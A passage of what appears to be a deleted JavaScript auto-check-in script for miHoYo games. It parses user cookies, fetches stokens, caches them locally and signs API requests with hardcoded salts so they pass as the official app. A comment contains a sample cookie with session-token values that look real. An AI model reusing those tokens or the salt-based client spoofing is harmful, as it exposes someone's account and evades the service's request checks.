原神自动签到相关的设置 - honkai_sr_Act_id: "e202304121516551", //# 星穹铁道自动签到相关设置 - honkai2_Act_id: "e202203291431091", //# 崩坏2自动签到相关的相关设置 - honkai3rd_Act_id: "e202207181446311", //# 崩坏3自动签到相关的设置 - tearsofthemis_Act_id: "e202202251749321", //# 未定事件簿自动签到相关设置 -} -//# 米游社的API列表 -const bbs_api_list = { - bbs_cookie_url: "https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket={}", - bbs_cookie_url2: web_api + "/auth/api/getMultiTokenByLoginTicket?login_ticket={}&token_types=3&uid={}", - bbs_tasks_list: bbs_api + "/apihub/sapi/getUserMissionsState", //# 获取任务列表 - bbs_sign_url: bbs_api + "/apihub/app/api/signIn", //# post - bbs_post_list_url: bbs_api + "/post/api/getForumPostList?forum_id={}&is_good=false&is_hot=false&page_size=20&sort_type=1", - bbs_detail_url: bbs_api + "/post/api/getPostFull?post_id={}", - bbs_share_url: bbs_api + "/apihub/api/getShareConf?entity_id={}&entity_type=1", - bbs_like_url: bbs_api + "/apihub/sapi/upvotePost", //# post json - bbs_get_captcha: bbs_api + "/misc/api/createVerification?is_high=true", - bbs_captcha_verify: bbs_api + "/misc/api/verifyVerification", -}; -//# 通用游戏签到API -const any_checkin_rewards = web_api + "/event/luna/home?lang=zh-cn&act_id={}"; -const any_is_signurl = web_api + "/event/luna/info?lang=zh-cn&act_id={}®ion={}&uid={}"; -const any_sign_url = web_api + "/event/luna/sign"; -//# 原神相关API -const genshin_checkin_rewards = `${web_api}/event/bbs_sign_reward/home?act_id=${act_id_list['genshin_Act_id']}`; -const genshin_Is_signurl = web_api + "/event/bbs_sign_reward/info?act_id={}®ion={}&uid={}"; -const genshin_Signurl = web_api + "/event/bbs_sign_reward/sign"; -//# 云原神相关api -const cloud_genshin_Api = "https://api-cloudgame.mihoyo.com"; -const cloud_genshin_sgin = cloud_genshin_Api + "/hk4e_cg_cn/wallet/wallet/get"; -//# 接下来是国际服的内容 -const os_lang = "zh-cn"; -const os_referer_url = "https://act.hoyolab.com/"; - -// SaltConfig 对象,存储生成 Headers 所用的 salt 值 -const SaltConfig = { - //# 米游社的Salt - mihoyobbs_salt: "egBrFMO1BPBG0UX5XOuuwMRLZKwTVKRV", - mihoyobbs_salt_x4: "xV8v4Qu54lUKrEYFZkJhB8cuOh9Asafs", - mihoyobbs_salt_x6: "t0qEgfub6cvueAPgR5m9aQWWVciEer7v", - mihoyobbs_salt_web: "DG8lqMyc9gquwAUFc7zBS62ijQRX9XF7", -}; - - - -//--------------------------------------------------------- - -async function start() { - //await getVersion("smallfawn/QLScriptPublic/main/mys.js"); - log(`todoList:此次版本更新为过渡版本,以后将增加米游币的任务`) - log(`tips:更新双变量模式,两个网址获取的两个cookie用&分割`) - log(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`); - //await getNotice(); - let taskall; - log("\n==========> 获取当月奖励详情 <==========\n"); - taskall = []; - for (let user of userList) { - if (user.ckStatus) { - if (user.index == 1) { - taskall.push(await user.getAwards(act_id_list['genshin_Act_id']))//原神奖励列表 - } - taskall.push(await user.main()); - await $.wait(1000); - await Promise.all(taskall); - } else { - log(`账号[${user.index}] cookie参数不全,停止执行!所有任务`) - } - } - await Promise.all(taskall); - -} -//新接口APP签到COOKIE -//ltuid=296874595; login_ticket=iMBL8bwpaiCiKqjzhbmzLBp9xL5fuGn8uDF0k3Y1; account_id=296874595; ltoken=UJhY0UQQNt0kwagQNGXTZu73WfIjUHLviHPxiliV; cookie_token=kT4pb3rkmMiK0Biaec9KlfKu1zFop2C0Dcv0hCpL; -//ltoken通过verifyToken接口获得 Cookie必须含有account_id和cookie_token 返回Set-Cookie 中包含 ltoken -class UserInfo { - constructor(str) { - this.index = ++userIdx; - this.cookieStr = str.split("&")[0]; - this.cookieStr_login = str.split("&")[1]; - this.cookieStr_login = this.cookieStr_login.replace(/\s/g, ''); - this.cookieStr_login += ";" - this.ckStatus = true; - - this.cookie_token_v2 = ""; - this.account_mid_v2 = ""; - this.account_id_v2 = ""; - this.ltoken_v2 = ""; - this.ltmid_v2 = ""; - this.ltuid_v2 = ""; - this.login_uid = ""; - this.login_ticket = ""; - - this.stuid = ""; - this.stoken = ""; - this.device_id = ""; - - this.region = ""; - this.uid_ys = ""; - this.isLoginApp = false - } - async getCookie() { - this.cookieStr = this.cookieStr.replace(/\s/g, ''); - //log(this.cookieStr) - const cookieMustValues1 = ['cookie_token_v2', 'ltoken_v2']; - for (const cookieName of cookieMustValues1) { - const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr); - if (match !== null) { - this[cookieName] = match[1]; - } else { - log(`账号[${this.index}] ${cookieName} cookie参数不全,停止执行!所有任务`) - this.ckStatus = false - return - } - } - const cookieMustValues2 = ['account_mid_v2', 'account_id_v2', 'ltmid_v2', 'ltuid_v2']; - for (const cookieName of cookieMustValues2) { - const match = new RegExp(`${cookieName}=([^;]+)`).exec(this.cookieStr); - if (match !== null) { - this[cookieName] = match[1]; - } else { - this[cookieName] = match; - } - } - /*if (/cookie_token_v2=([^;]+)/.exec(this.cookieStr) !== null) { - this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1]; - } - if (/account_mid_v2=([^;]+)/.exec(this.cookieStr) !== null) { - this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1]; - } - - } - this.cookie_token_v2 = /cookie_token_v2=([^;]+)/.exec(this.cookieStr)[1]; - this.account_mid_v2 = /account_mid_v2=([^;]+)/.exec(this.cookieStr)[1];*/ - if (/login_ticket=([^;]+)/.exec(this.cookieStr_login)) { - this.login_ticket = /login_ticket=([^;]+)/.exec(this.cookieStr_login)[1] - this.isLoginApp = true; - } else { - this.login_ticket == ""; - this.isLoginApp = false; - } - //this.stuid = ""; - //this.stoken = ""; - this.setValues('UID')//设置UID和MID - this.setValues('MID')//设置UID和MID - this.checkCookie() - if (this.ckStatus) { - await this.GetCollect() - } - //使用获取到的Cookie - if (this.isLoginApp) { - this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2}; login_uid=${this.login_uid}; login_ticket=${this.login_ticket};` - } else { - this.cookieAll = `cookie_token_v2=${this.cookie_token_v2}; account_mid_v2=${this.account_mid_v2}; account_id_v2=${this.account_id_v2}; ltoken_v2=${this.ltoken_v2}; ltmid_v2=${this.ltmid_v2}; ltuid_v2=${this.ltuid_v2};` - } - } - checkCookie() { - if (this.cookie_token_v2 && this.account_mid_v2 && this.account_id_v2 && this.ltoken_v2 && this.ltmid_v2 && this.ltuid_v2 && this.login_uid) { - this.ckStatus = true; - } else { - this.ckStatus = false; - log(`缺少参数 设置false`) - } - } - setValues(str) { - if (str == 'UID') { - this.account_id_v2 = this.account_id_v2 || this.ltuid_v2 || this.login_uid; - this.ltuid_v2 = this.ltuid_v2 || this.account_id_v2 || this.login_uid; - //log(`this.ltuid_v2` + this.ltuid_v2) - //log(`this.account_id_v2` + this.account_id_v2) - - this.login_uid = this.login_uid || this.account_id_v2 || this.ltuid_v2; - //log(`this.login_uid` + this.login_uid) - } else if (str == 'MID') { - this.account_mid_v2 = this.account_mid_v2 || this.ltmid_v2 - this.ltmid_v2 = this.ltmid_v2 || this.account_mid_v2 - } - } - async GetCollect() { - let boolneedUpdate = false; - let isIn = false; - if (TempAccount) { - for (let j = 0; j < TempAccount.length; j++) { - if (TempAccount[j]["uid"] == this.account_id_v2 || TempAccount[j]["uid"] == this.ltuid_v2 || TempAccount[j]["uid"] == this.login_uid) { - isIn = true; - this.cookie_token_v2 = TempAccount[j]['cookie_token_v2']; - this.account_mid_v2 = TempAccount[j]['mid']; - this.account_id_v2 = TempAccount[j]['uid']; - this.ltoken_v2 = TempAccount[j]['ltoken_v2']; - this.ltmid_v2 = TempAccount[j]['mid']; - this.ltuid_v2 = TempAccount[j]['uid']; - this.login_uid = TempAccount[j]['uid']; - this.login_ticket = TempAccount[j]['login_ticket']; - this.stuid = TempAccount[j]['stuid'] - this.stoken = TempAccount[j]['stoken']; - this.device_id = TempAccount[j]['device_id']; - } - } - } - if (!isIn) { - console.log(`账号[${this.index}] 该账号无缓存,尝试联网获取stoken.....`); - if (this.isLoginApp) { - await this.task_login(); - } else { - console.log(`账号[${this.index}] 缺少login_ticket参数,不执行米游币任务`); - } - if (this.stoken == "" || this.stoken !== "") { - var tempAddCooKie = {}; - tempAddCooKie = { - "uid": this.account_id_v2, - "mid": this.account_mid_v2, - "cookie_token_v2": this.cookie_token_v2, - "ltoken_v2": this.ltoken_v2, - "login_ticket": this.login_ticket, - "stoken": this.stoken, - "device_id": getUUID() - }; - TempAccount.push(tempAddCooKie); - //标识,需要更新缓存文件 - boolneedUpdate = true; - } else { - boolneedUpdate = true - } - } - if (boolneedUpdate) { - var str = JSON.stringify(TempAccount, null, 2); - //var str = JSON.stringify(TempAccount); - //log(TempAccount) - fs.writeFile(strShare, str, function (err) { - if (err) { - console.log(err); - console.log("\n【缓存文件Mihoyo_Account.json更新失败!】\n"); - } else { - console.log("\n【缓存文件Mihoyo_Account.json更新成功!】\n"); - } - }) - } - } - async getHeaders() { - await this.GetCollect() - const headers = sign_headers; - headers['Cookie'] = this.cookieAll; - headers['DS'] = this.getDS(true) - headers['x-rpc-device_id'] = this.device_id//getUUID(); - headers['User-Agent'] = `Mozilla/5.0 (Linux; Android 12; Unspecified Device) AppleWebKit/537.36 (KHTML, like Gecko) ` + - `Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36 miHoYoBBS/${mihoyobbs_version}` - return headers; - } - //# 获取请求Header里的DS 当web为true则生成网页端的DS - getDS(web) { - let salt; - if (web) { - salt = SaltConfig.mihoyobbs_salt_web; - } else { - salt = SaltConfig.mihoyobbs_salt; - } - const timestamp = Math.floor(Date.now() / 1e3); - const random = Math.random().toString(36).slice(-6); - const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}`); - return `${timestamp},${random},${result}`; - } - /** - * # 获取请求Header里的DS(版本2) 这个版本ds之前见到都是查询接口里的 - * @param {*} q - * @param {*} b - * @returns - */ - getDS2(q, b) { - const salt = SaltConfig.mihoyobbs_salt_x6; - const timestamp = Math.floor(Date.now() / 1e3); - const random = Math.floor(Math.random() * (200000 - 100001 + 1) + 100001).toString(); - const add = `&b=${b}&q=${q}`; - const result = MD5_Encrypt(`salt=${salt}&t=${timestamp}&r=${random}${add}`); - return `${timestamp},${random},${result}`; - } - - async getAwards(act_id) { - let options = { - url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/home?act_id=${act_id}`, - headers: {} - } - let result = await httpRequest(options) - for (let i in result.data.awards) { - jiangliArr.push(`${result.data.awards[i].name} * ${result.data.awards[i].cnt}`); - } - DoubleLog(jiangliArr); - } - async main() { - try { - await this.getCookie()//获取stuid以及stoken 且保存 以JSON格式 mihoyoConfig.json{存放 stuid为键 其他为值} - if (this.ckStatus) { - await this.get_info_ys() - await this.get_sign_info(act_id_list['genshin_Act_id']) - } - - } catch (e) { - console.log(e); - } - } - async task_login() {//获取米哈游的APP stuid以及stoken - try { - let options, result - options = { - url: `https://webapi.account.mihoyo.com/Api/cookie_accountinfo_by_loginticket?login_ticket=${this.login_ticket}`, - headers: {} - }, result = await httpRequest(options); - //log(options) - //log(result) - if (result.data.msg == '成功') { - this.stuid = result.data.cookie_info.account_id - options = { - url: `https://api-takumi.mihoyo.com/auth/api/getMultiTokenByLoginTicket?login_ticket=${this.login_ticket}&token_types=3&uid=${this.stuid}`, - headers: {} - }, result = await httpRequest(options); - if (result.message == 'OK') { - this.stoken = result.data.list[0].token - //log(this.stoken) - //log(result) - //DoubleLog('保存STUID和STOKEN success') - } - } else { - DoubleLog(`账号[${this.index}] login_ticket已失效`); - } - } catch (e) { - console.log(e); - } - } - - async get_info_ys() { - let headers = await this.getHeaders() - try { - let options = { - url: `https://api-takumi.mihoyo.com/binding/api/getUserGameRolesByCookie?game_biz=hk4e_cn`, - headers: headers, - }, - result = await httpRequest(options); - //console.log(options); - //console.log(result); - if (result.retcode == 0) { - //log(`账号[${this.index}] 获取原神信息成功`); - //let game_biz = result.data.list[0].game_biz; - let region = result.data.list[0].region; - let game_uid = result.data.list[0].game_uid; - let nickname = result.data.list[0].nickname; - let region_name = result.data.list[0].region_name; - this.region = region; - this.uid_ys = game_uid; - //log(game_biz, region, game_uid, nickname, region_name); - DoubleLog(`账号[${this.index}] 游戏昵称${nickname},${region_name}`); - } else { - DoubleLog(`账号[${this.index}] 获取原神信息:失败 ❌ ,原因未知!`); - log(result); - } - } catch (e) { - console.log(e); - } - } - - /** - * 签到信息 - */ - async get_sign_info(act_id) { - let tmpHeaders = await this.getHeaders() - tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon` - try { - let options = { - url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/info?act_id=${act_id}®ion=${this.region}&uid=${this.uid_ys}`, - headers: tmpHeaders - }, result = await httpRequest(options); - //console.log(options); - //console.log(result); - if (result.retcode == 0) { - //DoubleLog(`账号[${this.index}] 获取签到信息成功`); - DoubleLog(`账号[${this.index}] 签到天数${result.data.total_sign_day},今天${result.data.today},是否签到${result.data.is_sign}`); - if (result.data.is_sign == false) { - DoubleLog(`账号[${this.index}] 执行签到`); - await this.task_sign(act_id); - } - } else { - DoubleLog(`账号[${this.index}] 获取签到信息:失败 ❌ ,原因未知!`); - log(result); - } - } catch (e) { - console.log(e); - } - } - - async task_sign(act_id) { - let tmpHeaders = await this.getHeaders() - tmpHeaders['Referer'] = `https://webstatic.mihoyo.com/bbs/event/signin-ys/index.html?bbs_auth_required=true&act_id=${act_id}&utm_source=bbs&utm_medium=mys&utm_campaign=icon` - try { - let options = { - url: `https://api-takumi.mihoyo.com/event/bbs_sign_reward/sign`, - headers: tmpHeaders, - body: $.toStr({ act_id: act_id, region: this.region, uid: this.uid_ys, }) - }, result = await httpRequest(options); - //console.log(options); - //console.log(result); - if (result.retcode == 0 && 'gt' in result.data) { - DoubleLog(`账号[${this.index}] 签到:失败,原因有点选验证请手动签到🎉`); - } else if (result.retcode == 0 && !('gt' in result.data)) { - DoubleLog(`账号[${this.index}] 签到:${result.message} ❌ 了呢,原因未知!`); - console.log(result); - } - } catch (e) { - console.log(e); - } - } - -} - -!(async () => { - if (!(await checkEnv())) return; - if (userList.length > 0) { - await start(); - } - await SendMsg(msg); -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -//******************************************************** -// 变量检查与处理 -async function checkEnv() { - if (userCookie) { - // console.log(userCookie); - let e = envSplitor[0]; - for (let o of envSplitor) - if (userCookie.indexOf(o) > -1) { - e = o; - break; - } - for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); - userCount = userList.length; - } else { - console.log("未找到CK"); - return; - } - return console.log(`共找到${userCount}个账号`), true; //true == !0 -} -///////////////////////////////////////////////////////////////////////////////////// -function httpRequest(options, method) { - method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; - return new Promise((resolve) => { - $[method](options, (err, resp, data) => { - try { - if (err) { - console.log(`${method}请求失败`); - $.logErr(err); - } else { - if (data) { - typeof JSON.parse(data) == "object" ? (data = JSON.parse(data)) : (data = data); - resolve(data); - } else { - console.log(`请求api返回数据为空,请检查自身原因`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -function getUUID() { - return Array.from({ length: 32 }, () => Math.floor(Math.random() * 16).toString(16)).map((value, index) => [7, 11, 15, 19].includes(index) ? `-${value}` : value).join(""); -} -/** - * 获取远程版本 - */ -function getVersion(scriptUrl, timeout = 3 * 1000) { - return new Promise((resolve) => { - let options = { - url: `https://ghproxy.com/https://raw.githubusercontent.com/${scriptUrl}`, - }; - $.get( - options, - async (err, resp, data) => { - try { - let regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; - let match = data.match(regex); - scriptVersionLatest = match ? match[2] : ""; - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }, - timeout - ); - }); -} - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.com/https://raw.githubusercontent.com/smallfawn/Note/main/Notice.json`, - headers: { "User-Agent": "" }, - }, - result = await httpRequest(options); - if (!result || !("notice" in result)) { - options.url = `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`; - result = await httpRequest(options); - } - if (result && "notice" in result) { - DoubleLog(`${result.notice}`); - } - } catch (e) { - console.log(e); - } -} -async function hitokoto(timeout = 3 * 1000) { - // 随机一言 - return new Promise((resolve) => { - try { - let options = { - url: "https://v1.hitokoto.cn/", - headers: {}, - }; //, //result = await httpRequest(options); - $.get( - options, - async (err, resp, data) => { - try { - data = JSON.parse(data); - resolve(data.hitokoto); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }, - timeout - ); - //return result.hitokoto - } catch (error) { - console.log(error); - } - }); -} -// 双平台log输出 -function DoubleLog(data) { - if ($.isNode()) { - if (data) { - console.log(`${data}`); - msg += `\n${data}`; - } - } else { - console.log(`${data}`); - msg += `\n${data}`; - } -} -// 发送消息 -async function SendMsg(message) { - if (!message) return; - if (Notify > 0) { - if ($.isNode()) { - await notify.sendNotify($.name, message); - } else { - $.msg($.name, "", message); - } - } else { - console.log(message); - } -} - -// 完整 Env -function MD5_Encrypt(a) { function b(a, b) { return (a << b) | (a >>> (32 - b)); } function c(a, b) { var c, d, e, f, g; return ((e = 2147483648 & a), (f = 2147483648 & b), (c = 1073741824 & a), (d = 1073741824 & b), (g = (1073741823 & a) + (1073741823 & b)), c & d ? 2147483648 ^ g ^ e ^ f : c | d ? 1073741824 & g ? 3221225472 ^ g ^ e ^ f : 1073741824 ^ g ^ e ^ f : g ^ e ^ f); } function d(a, b, c) { return (a & b) | (~a & c); } function e(a, b, c) { return (a & c) | (b & ~c); } function f(a, b, c) { return a ^ b ^ c; } function g(a, b, c) { return b ^ (a | ~c); } function h(a, e, f, g, h, i, j) { return (a = c(a, c(c(d(e, f, g), h), j))), c(b(a, i), e); } function i(a, d, f, g, h, i, j) { return (a = c(a, c(c(e(d, f, g), h), j))), c(b(a, i), d); } function j(a, d, e, g, h, i, j) { return (a = c(a, c(c(f(d, e, g), h), j))), c(b(a, i), d); } function k(a, d, e, f, h, i, j) { return (a = c(a, c(c(g(d, e, f), h), j))), c(b(a, i), d); } function l(a) { for (var b, c = a.length, d = c + 8, e = (d - (d % 64)) / 64, f = 16 * (e + 1), g = new Array(f - 1), h = 0, i = 0; c > i;) (b = (i - (i % 4)) / 4), (h = (i % 4) * 8), (g[b] = g[b] | (a.charCodeAt(i) << h)), i++; return ((b = (i - (i % 4)) / 4), (h = (i % 4) * 8), (g[b] = g[b] | (128 << h)), (g[f - 2] = c << 3), (g[f - 1] = c >>> 29), g); } function m(a) { var b, c, d = "", e = ""; for (c = 0; 3 >= c; c++) (b = (a >>> (8 * c)) & 255), (e = "0" + b.toString(16)), (d += e.substr(e.length - 2, 2)); return d; } function n(a) { a = a.replace(/\r\n/g, "\n"); for (var b = "", c = 0; c < a.length; c++) { var d = a.charCodeAt(c); 128 > d ? (b += String.fromCharCode(d)) : d > 127 && 2048 > d ? ((b += String.fromCharCode((d >> 6) | 192)), (b += String.fromCharCode((63 & d) | 128))) : ((b += String.fromCharCode((d >> 12) | 224)), (b += String.fromCharCode(((d >> 6) & 63) | 128)), (b += String.fromCharCode((63 & d) | 128))); } return b; } var o, p, q, r, s, t, u, v, w, x = [], y = 7, z = 12, A = 17, B = 22, C = 5, D = 9, E = 14, F = 20, G = 4, H = 11, I = 16, J = 23, K = 6, L = 10, M = 15, N = 21; for (a = n(a), x = l(a), t = 1732584193, u = 4023233417, v = 2562383102, w = 271733878, o = 0; o < x.length; o += 16) (p = t), (q = u), (r = v), (s = w), (t = h(t, u, v, w, x[o + 0], y, 3614090360)), (w = h(w, t, u, v, x[o + 1], z, 3905402710)), (v = h(v, w, t, u, x[o + 2], A, 606105819)), (u = h(u, v, w, t, x[o + 3], B, 3250441966)), (t = h(t, u, v, w, x[o + 4], y, 4118548399)), (w = h(w, t, u, v, x[o + 5], z, 1200080426)), (v = h(v, w, t, u, x[o + 6], A, 2821735955)), (u = h(u, v, w, t, x[o + 7], B, 4249261313)), (t = h(t, u, v, w, x[o + 8], y, 1770035416)), (w = h(w, t, u, v, x[o + 9], z, 2336552879)), (v = h(v, w, t, u, x[o + 10], A, 4294925233)), (u = h(u, v, w, t, x[o + 11], B, 2304563134)), (t = h(t, u, v, w, x[o + 12], y, 1804603682)), (w = h(w, t, u, v, x[o + 13], z, 4254626195)), (v = h(v, w, t, u, x[o + 14], A, 2792965006)), (u = h(u, v, w, t, x[o + 15], B, 1236535329)), (t = i(t, u, v, w, x[o + 1], C, 4129170786)), (w = i(w, t, u, v, x[o + 6], D, 3225465664)), (v = i(v, w, t, u, x[o + 11], E, 643717713)), (u = i(u, v, w, t, x[o + 0], F, 3921069994)), (t = i(t, u, v, w, x[o + 5], C, 3593408605)), (w = i(w, t, u, v, x[o + 10], D, 38016083)), (v = i(v, w, t, u, x[o + 15], E, 3634488961)), (u = i(u, v, w, t, x[o + 4], F, 3889429448)), (t = i(t, u, v, w, x[o + 9], C, 568446438)), (w = i(w, t, u, v, x[o + 14], D, 3275163606)), (v = i(v, w, t, u, x[o + 3], E, 4107603335)), (u = i(u, v, w, t, x[o + 8], F, 1163531501)), (t = i(t, u, v, w, x[o + 13], C, 2850285829)), (w = i(w, t, u, v, x[o + 2], D, 4243563512)), (v = i(v, w, t, u, x[o + 7], E, 1735328473)), (u = i(u, v, w, t, x[o + 12], F, 2368359562)), (t = j(t, u, v, w, x[o + 5], G, 4294588738)), (w = j(w, t, u, v, x[o + 8], H, 2272392833)), (v = j(v, w, t, u, x[o + 11], I, 1839030562)), (u = j(u, v, w, t, x[o + 14], J, 4259657740)), (t = j(t, u, v, w, x[o + 1], G, 2763975236)), (w = j(w, t, u, v, x[o + 4], H, 1272893353)), (v = j(v, w, t, u, x[o + 7], I, 4139469664)), (u = j(u, v, w, t, x[o + 10], J, 3200236656)), (t = j(t, u, v, w, x[o + 13], G, 681279174)), (w = j(w, t, u, v, x[o + 0], H, 3936430074)), (v = j(v, w, t, u, x[o + 3], I, 3572445317)), (u = j(u, v, w, t, x[o + 6], J, 76029189)), (t = j(t, u, v, w, x[o + 9], G, 3654602809)), (w = j(w, t, u, v, x[o + 12], H, 3873151461)), (v = j(v, w, t, u, x[o + 15], I, 530742520)), (u = j(u, v, w, t, x[o + 2], J, 3299628645)), (t = k(t, u, v, w, x[o + 0], K, 4096336452)), (w = k(w, t, u, v, x[o + 7], L, 1126891415)), (v = k(v, w, t, u, x[o + 14], M, 2878612391)), (u = k(u, v, w, t, x[o + 5], N, 4237533241)), (t = k(t, u, v, w, x[o + 12], K, 1700485571)), (w = k(w, t, u, v, x[o + 3], L, 2399980690)), (v = k(v, w, t, u, x[o + 10], M, 4293915773)), (u = k(u, v, w, t, x[o + 1], N, 2240044497)), (t = k(t, u, v, w, x[o + 8], K, 1873313359)), (w = k(w, t, u, v, x[o + 15], L, 4264355552)), (v = k(v, w, t, u, x[o + 6], M, 2734768916)), (u = k(u, v, w, t, x[o + 13], N, 1309151649)), (t = k(t, u, v, w, x[o + 4], K, 4149444226)), (w = k(w, t, u, v, x[o + 11], L, 3174756917)), (v = k(v, w, t, u, x[o + 2], M, 718787259)), (u = k(u, v, w, t, x[o + 9], N, 3951481745)), (t = c(t, p)), (u = c(u, q)), (v = c(v, r)), (w = c(w, s)); var O = m(t) + m(u) + m(v) + m(w); return O.toLowerCase(); } -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && 